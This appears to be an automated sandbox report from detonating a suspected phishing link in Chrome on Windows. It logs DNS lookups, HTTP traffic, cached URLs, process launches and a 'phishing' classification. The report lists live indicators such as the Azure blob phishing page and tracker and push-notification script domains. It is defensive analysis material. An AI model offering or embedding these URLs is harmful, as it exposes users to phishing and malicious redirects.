Source: global traffic	DNS traffic detected: DNS query: pawern.markiwalk.lat
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: s3.us-west-2.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: trk-elevostra.com
Source: global traffic	DNS traffic detected: DNS query: p.sitemana.com
Source: global traffic	DNS traffic detected: DNS query: trk-dynamoris.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: event.trk-elevostra.com
Source: global traffic	DNS traffic detected: DNS query: shineheater.com
Source: global traffic	DNS traffic detected: DNS query: www.scgyvdstrk.com
Source: global traffic	DNS traffic detected: DNS query: www.greatqualitydeals.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/jsd/r/8cce3f1f68d419aa HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveContent-Length: 15904sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: */*Origin: https://pawern.markiwalk.latSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 03 Oct 2024 16:19:55 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=31536000CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wJUmGjyhdF9zP4p3W8gBaX3SS6bn2zZnYiFpWKTq%2B%2BCC352GqZIbxjJZuOjVg5TF79QDC0jKw7iNxBf%2BdLaftOYl3oiAFx9hAwAsg5npWJPfWwyAQgcYu3FAUB301RqVjiaEE955SMFMQX%2Bf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8cce41af2bd84265-EWR

Source: chromecache_180.1.dr	String found in binary or memory: http://daneden.me/animate
Source: chromecache_165.1.dr	String found in binary or memory: http://fontawesome.io
Source: chromecache_165.1.dr	String found in binary or memory: http://fontawesome.io/license
Source: chromecache_180.1.dr, chromecache_129.1.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: chromecache_105.1.dr, chromecache_179.1.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_129.1.dr	String found in binary or memory: https://animate.style/
Source: chromecache_175.1.dr	String found in binary or memory: https://cdn.x1cdn.com/bh/en/ps5/1/https://cdn.x1cdn.com/bh/fr/i1/1/images/bg1.jpg)
Source: chromecache_175.1.dr	String found in binary or memory: https://cdn.x1cdn.com/bh/fr/ip/https://cdn.x1cdn.com/bh/fr/s10/1/https://cdn.x1cdn.com/bh/fr/i1/1/im
Source: chromecache_105.1.dr, chromecache_179.1.dr	String found in binary or memory: https://fingerprint.com)
Source: chromecache_104.1.dr, chromecache_144.1.dr, chromecache_162.1.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_144.1.dr, chromecache_162.1.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqW106F15M.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWt06F15M.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtE6F15M.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtU6F15M.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtk6F15M.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWu06F15M.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWuU6F.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWuk6F15M.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWvU6F15M.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWxU6F15M.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS2mu1aB.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSCmu1aB.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSGmu1aB.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSymu1aB.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTUGmu1aB.woff2)
Source: chromecache_112.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTVOmu1aB.woff2)
Source: chromecache_143.1.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_105.1.dr, chromecache_179.1.dr	String found in binary or memory: https://github.com/karanlyons/murmurHash3.js)
Source: chromecache_143.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_131.1.dr	String found in binary or memory: https://kindacoil.site/?id=297&s1=351518&s2=1236503140&s3=7605&s4=4598&p=us5yasweps3a
Source: chromecache_187.1.dr	String found in binary or memory: https://trk-dynamoris.com/scripts/pg/v9e118mez8
Source: chromecache_187.1.dr	String found in binary or memory: https://trk-dynamoris.com/scripts/sw/v9e118mez8
Source: chromecache_172.1.dr, chromecache_177.1.dr	String found in binary or memory: https://trk-elevostra.com/scripts/push/v9e118mez8
Source: chromecache_188.1.dr	String found in binary or memory: https://vaultdores.com/0/0/0/264e35134ac25f9de46ef31bca03b2d6

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49796 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@22/160@44/18

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1992,i,2842306626827316037,12620561187067388826,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/dsfghfdaregfdgshfgdfh/l1.html#9/372-16527/1270-243896-29108"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1992,i,2842306626827316037,12620561187067388826,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
